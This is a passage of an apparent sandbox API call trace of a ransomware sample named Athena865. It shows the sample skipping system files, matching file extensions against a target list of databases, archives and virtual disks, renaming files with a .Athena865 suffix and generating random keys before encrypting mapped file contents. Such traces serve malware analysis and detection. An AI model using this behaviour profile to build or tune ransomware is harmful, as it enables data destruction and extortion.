(lpString="4dd") returned 3 [0035.863] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1 [0035.863] lstrlenW (lpString="4dl") returned 3 [0035.863] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1 [0035.863] lstrlenW (lpString="^^^") returned 3 [0035.863] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1 [0035.863] lstrlenW (lpString="abs") returned 3 [0035.863] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1 [0035.863] lstrlenW (lpString="abx") returned 3 [0035.863] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1 [0035.863] lstrlenW (lpString="accdb") returned 5 [0035.863] lstrcmpiW (lpString1="ns-ms", lpString2="accdb") returned 1 [0035.863] lstrlenW (lpString="accdc") returned 5 [0035.863] lstrcmpiW (lpString1="ns-ms", lpString2="accdc") returned 1 [0035.863] lstrlenW (lpString="accde") returned 5 [0035.863] lstrcmpiW (lpString1="ns-ms", lpString2="accde") returned 1 [0035.863] lstrlenW (lpString="accdr") returned 5 [0035.863] lstrcmpiW (lpString1="ns-ms", lpString2="accdr") returned 1 [0035.863] lstrlenW (lpString="accdt") returned 5 [0035.863] lstrcmpiW (lpString1="ns-ms", lpString2="accdt") returned 1 [0035.863] lstrlenW (lpString="accdw") returned 5 [0035.863] lstrcmpiW (lpString1="ns-ms", lpString2="accdw") returned 1 [0035.863] lstrlenW (lpString="accft") returned 5 [0035.863] lstrcmpiW (lpString1="ns-ms", lpString2="accft") returned 1 [0035.863] lstrlenW (lpString="adb") returned 3 [0035.863] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0035.863] lstrlenW (lpString="adb") returned 3 [0035.863] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0035.863] lstrlenW (lpString="ade") returned 3 [0035.863] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1 [0035.863] lstrlenW (lpString="adf") returned 3 [0035.863] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1 [0035.863] lstrlenW (lpString="adn") returned 3 [0035.863] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1 [0035.864] lstrlenW (lpString="adp") returned 3 [0035.864] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1 [0035.864] lstrlenW (lpString="alf") returned 3 [0035.864] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1 [0035.864] lstrlenW (lpString="ask") returned 3 [0035.864] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1 [0035.864] lstrlenW (lpString="btr") returned 3 [0035.864] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1 [0035.864] lstrlenW (lpString="cat") returned 3 [0035.864] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1 [0035.864] lstrlenW (lpString="cdb") returned 3 [0035.864] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1 [0035.864] lstrlenW (lpString="ckp") returned 3 [0035.864] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1 [0035.864] lstrlenW (lpString="cma") returned 3 [0035.864] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1 [0035.864] lstrlenW (lpString="cpd") returned 3 [0035.864] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1 [0035.864] lstrlenW (lpString="dacpac") returned 6 [0035.864] lstrcmpiW (lpString1="ans-ms", lpString2="dacpac") returned -1 [0035.864] lstrlenW (lpString="dad") returned 3 [0035.864] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1 [0035.864] lstrlenW (lpString="dadiagrams") returned 10 [0035.864] lstrcmpiW (lpString1="egtrans-ms", lpString2="dadiagrams") returned 1 [0035.864] lstrlenW (lpString="daschema") returned 8 [0035.864] lstrcmpiW (lpString1="trans-ms", lpString2="daschema") returned 1 [0035.864] lstrlenW (lpString="db-journal") returned 10 [0035.864] lstrcmpiW (lpString1="egtrans-ms", lpString2="db-journal") returned 1 [0035.864] lstrlenW (lpString="db-shm") returned 6 [0035.864] lstrcmpiW (lpString1="ans-ms", lpString2="db-shm") returned -1 [0035.864] lstrlenW (lpString="db-wal") returned 6 [0035.864] lstrcmpiW (lpString1="ans-ms", lpString2="db-wal") returned -1 [0035.864] lstrlenW (lpString="dbc") returned 3 [0035.864] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1 [0035.864] lstrlenW (lpString="dbs") returned 3 [0035.864] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1 [0035.864] lstrlenW (lpString="dbt") returned 3 [0035.865] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1 [0035.865] lstrlenW (lpString="dbv") returned 3 [0035.865] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1 [0035.865] lstrlenW (lpString="dbx") returned 3 [0035.865] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1 [0035.865] lstrlenW (lpString="dcb") returned 3 [0035.865] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1 [0035.865] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865") returned 136 [0035.865] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\documents and settings\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms"), lpNewFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865" (normalized: "c:\\documents and settings\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms.athena865"), dwFlags=0x1) returned 1 [0035.866] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865" (normalized: "c:\\documents and settings\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0035.866] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=524288) returned 1 [0035.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0035.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52cfd0 [0035.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518788 [0035.866] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518898) returned 1 [0035.878] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0035.878] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0035.878] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x80300, lpName=0x0) returned 0x154 [0035.880] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x80300) returned 0x2d50000 [0035.903] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518898) returned 1 [0035.903] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0035.903] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0035.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0035.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0035.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0035.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0035.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0035.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0035.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52dfb8 [0035.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0035.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0035.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0035.904] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0035.908] CloseHandle (hObject=0x154) returned 1 [0035.909] CloseHandle (hObject=0x17c) returned 1 [0035.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cfd0 | out: hHeap=0x4f0000) returned 1 [0035.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518788 | out: hHeap=0x4f0000) returned 1 [0035.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0035.917] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0035.917] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.917] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.917] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0035.917] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0035.917] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="windows") returned -1 [0035.917] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="bootmgr") returned 1 [0035.917] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="temp") returned -1 [0035.917] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="pagefile.sys") returned -1 [0035.917] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="boot") returned 1 [0035.917] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="ids.txt") returned 1 [0035.917] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="ntuser.dat") returned 1 [0035.917] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="perflogs") returned -1 [0035.917] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="MSBuild") returned 1 [0035.917] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92 [0035.918] lstrcpyW (in: lpString1=0x241e88c, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" [0035.918] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92 [0035.918] lstrlenW (lpString="Athena865") returned 9 [0035.918] lstrcmpiW (lpString1="gtrans-ms", lpString2="Athena865") returned 1 [0035.918] lstrlenW (lpString=".dll") returned 4 [0035.918] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".dll") returned 1 [0035.918] lstrlenW (lpString=".lnk") returned 4 [0035.918] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".lnk") returned 1 [0035.918] lstrlenW (lpString=".ini") returned 4 [0035.918] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".ini") returned 1 [0035.918] lstrlenW (lpString=".sys") returned 4 [0035.918] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".sys") returned 1 [0035.918] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92 [0035.918] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865") returned 136 [0035.918] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\documents and settings\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms"), lpNewFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865" (normalized: "c:\\documents and settings\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms.athena865"), dwFlags=0x1) returned 1 [0035.919] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865" (normalized: "c:\\documents and settings\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0035.919] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=524288) returned 1 [0035.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0035.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52cfd0 [0035.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518788 [0035.919] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518898) returned 1 [0035.920] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0035.920] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0035.920] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x80300, lpName=0x0) returned 0x154 [0035.921] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x80300) returned 0x2d50000 [0035.942] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518898) returned 1 [0035.942] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0035.942] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0035.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0035.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0035.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0035.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0035.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0035.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0035.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52dfb8 [0035.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0035.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0035.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0035.943] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0035.948] CloseHandle (hObject=0x154) returned 1 [0035.948] CloseHandle (hObject=0x17c) returned 1 [0035.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cfd0 | out: hHeap=0x4f0000) returned 1 [0035.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518788 | out: hHeap=0x4f0000) returned 1 [0035.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0035.956] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0035.956] lstrcmpiW (lpString1="ntuser.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.957] lstrcmpiW (lpString1="ntuser.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.957] lstrcmpiW (lpString1="ntuser.ini", lpString2=".") returned 1 [0035.957] lstrcmpiW (lpString1="ntuser.ini", lpString2="..") returned 1 [0035.957] lstrcmpiW (lpString1="ntuser.ini", lpString2="windows") returned -1 [0035.957] lstrcmpiW (lpString1="ntuser.ini", lpString2="bootmgr") returned 1 [0035.957] lstrcmpiW (lpString1="ntuser.ini", lpString2="temp") returned -1 [0035.957] lstrcmpiW (lpString1="ntuser.ini", lpString2="pagefile.sys") returned -1 [0035.957] lstrcmpiW (lpString1="ntuser.ini", lpString2="boot") returned 1 [0035.957] lstrcmpiW (lpString1="ntuser.ini", lpString2="ids.txt") returned 1 [0035.957] lstrcmpiW (lpString1="ntuser.ini", lpString2="ntuser.dat") returned 1 [0035.957] lstrcmpiW (lpString1="ntuser.ini", lpString2="perflogs") returned -1 [0035.957] lstrcmpiW (lpString1="ntuser.ini", lpString2="MSBuild") returned 1 [0035.957] lstrlenW (lpString="ntuser.ini") returned 10 [0035.957] lstrcpyW (in: lpString1=0x241e88c, lpString2="ntuser.ini" | out: lpString1="ntuser.ini") returned="ntuser.ini" [0035.957] lstrlenW (lpString="ntuser.ini") returned 10 [0035.957] lstrlenW (lpString="Athena865") returned 9 [0035.957] lstrcmpiW (lpString1="tuser.ini", lpString2="Athena865") returned 1 [0035.957] lstrlenW (lpString=".dll") returned 4 [0035.957] lstrcmpiW (lpString1="ntuser.ini", lpString2=".dll") returned 1 [0035.957] lstrlenW (lpString=".lnk") returned 4 [0035.957] lstrcmpiW (lpString1="ntuser.ini", lpString2=".lnk") returned 1 [0035.957] lstrlenW (lpString=".ini") returned 4 [0035.957] lstrcmpiW (lpString1="ntuser.ini", lpString2=".ini") returned 1 [0035.957] lstrlenW (lpString=".sys") returned 4 [0035.957] lstrcmpiW (lpString1="ntuser.ini", lpString2=".sys") returned 1 [0035.957] lstrlenW (lpString="ntuser.ini") returned 10 [0035.957] lstrlenW (lpString="bak") returned 3 [0035.957] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0035.957] lstrlenW (lpString="ba_") returned 3 [0035.957] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0035.957] lstrlenW (lpString="dbb") returned 3 [0035.957] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0035.957] lstrlenW (lpString="vmdk") returned 4 [0035.957] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0035.957] lstrlenW (lpString="rar") returned 3 [0035.957] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0035.958] lstrlenW (lpString="zip") returned 3 [0035.958] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0035.958] lstrlenW (lpString="tgz") returned 3 [0035.958] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0035.958] lstrlenW (lpString="vbox") returned 4 [0035.958] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0035.958] lstrlenW (lpString="vdi") returned 3 [0035.958] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0035.958] lstrlenW (lpString="vhd") returned 3 [0035.958] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0035.958] lstrlenW (lpString="vhdx") returned 4 [0035.958] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0035.958] lstrlenW (lpString="avhd") returned 4 [0035.958] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0035.958] lstrlenW (lpString="db") returned 2 [0035.958] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0035.958] lstrlenW (lpString="db2") returned 3 [0035.958] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0035.958] lstrlenW (lpString="db3") returned 3 [0035.958] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0035.958] lstrlenW (lpString="dbf") returned 3 [0035.958] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0035.958] lstrlenW (lpString="mdf") returned 3 [0035.958] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0035.958] lstrlenW (lpString="mdb") returned 3 [0035.958] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0035.958] lstrlenW (lpString="sql") returned 3 [0035.958] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0035.958] lstrlenW (lpString="sqlite") returned 6 [0035.958] lstrcmpiW (lpString1="er.ini", lpString2="sqlite") returned -1 [0035.958] lstrlenW (lpString="sqlite3") returned 7 [0035.958] lstrcmpiW (lpString1="ser.ini", lpString2="sqlite3") returned -1 [0035.958] lstrlenW (lpString="sqlitedb") returned 8 [0035.958] lstrcmpiW (lpString1="user.ini", lpString2="sqlitedb") returned 1 [0035.958] lstrlenW (lpString="xml") returned 3 [0035.958] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0035.958] lstrlenW (lpString="$er") returned 3 [0035.959] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0035.959] lstrlenW (lpString="4dd") returned 3 [0035.959] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0035.959] lstrlenW (lpString="4dl") returned 3 [0035.959] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0035.959] lstrlenW (lpString="^^^") returned 3 [0035.959] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0035.959] lstrlenW (lpString="abs") returned 3 [0035.959] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0035.959] lstrlenW (lpString="abx") returned 3 [0035.959] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0035.959] lstrlenW (lpString="accdb") returned 5 [0035.959] lstrcmpiW (lpString1="r.ini", lpString2="accdb") returned 1 [0035.959] lstrlenW (lpString="accdc") returned 5 [0035.959] lstrcmpiW (lpString1="r.ini", lpString2="accdc") returned 1 [0035.959] lstrlenW (lpString="accde") returned 5 [0035.959] lstrcmpiW (lpString1="r.ini", lpString2="accde") returned 1 [0035.959] lstrlenW (lpString="accdr") returned 5 [0035.959] lstrcmpiW (lpString1="r.ini", lpString2="accdr") returned 1 [0035.959] lstrlenW (lpString="accdt") returned 5 [0035.959] lstrcmpiW (lpString1="r.ini", lpString2="accdt") returned 1 [0035.959] lstrlenW (lpString="accdw") returned 5 [0035.959] lstrcmpiW (lpString1="r.ini", lpString2="accdw") returned 1 [0035.959] lstrlenW (lpString="accft") returned 5 [0035.959] lstrcmpiW (lpString1="r.ini", lpString2="accft") returned 1 [0035.959] lstrlenW (lpString="adb") returned 3 [0035.959] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0035.959] lstrlenW (lpString="adb") returned 3 [0035.959] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0035.959] lstrlenW (lpString="ade") returned 3 [0035.959] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0035.959] lstrlenW (lpString="adf") returned 3 [0035.959] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0035.959] lstrlenW (lpString="adn") returned 3 [0035.959] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0035.959] lstrlenW (lpString="adp") returned 3 [0035.959] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0035.960] lstrlenW (lpString="alf") returned 3 [0035.960] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0035.960] lstrlenW (lpString="ask") returned 3 [0035.960] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0035.960] lstrlenW (lpString="btr") returned 3 [0035.960] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0035.960] lstrlenW (lpString="cat") returned 3 [0035.960] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0035.960] lstrlenW (lpString="cdb") returned 3 [0035.960] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0035.960] lstrlenW (lpString="ckp") returned 3 [0035.960] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0035.960] lstrlenW (lpString="cma") returned 3 [0035.960] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0035.960] lstrlenW (lpString="cpd") returned 3 [0035.960] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0035.960] lstrlenW (lpString="dacpac") returned 6 [0035.960] lstrcmpiW (lpString1="er.ini", lpString2="dacpac") returned 1 [0035.960] lstrlenW (lpString="dad") returned 3 [0035.960] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0035.960] lstrlenW (lpString="dadiagrams") returned 10 [0035.960] lstrlenW (lpString="daschema") returned 8 [0035.960] lstrcmpiW (lpString1="user.ini", 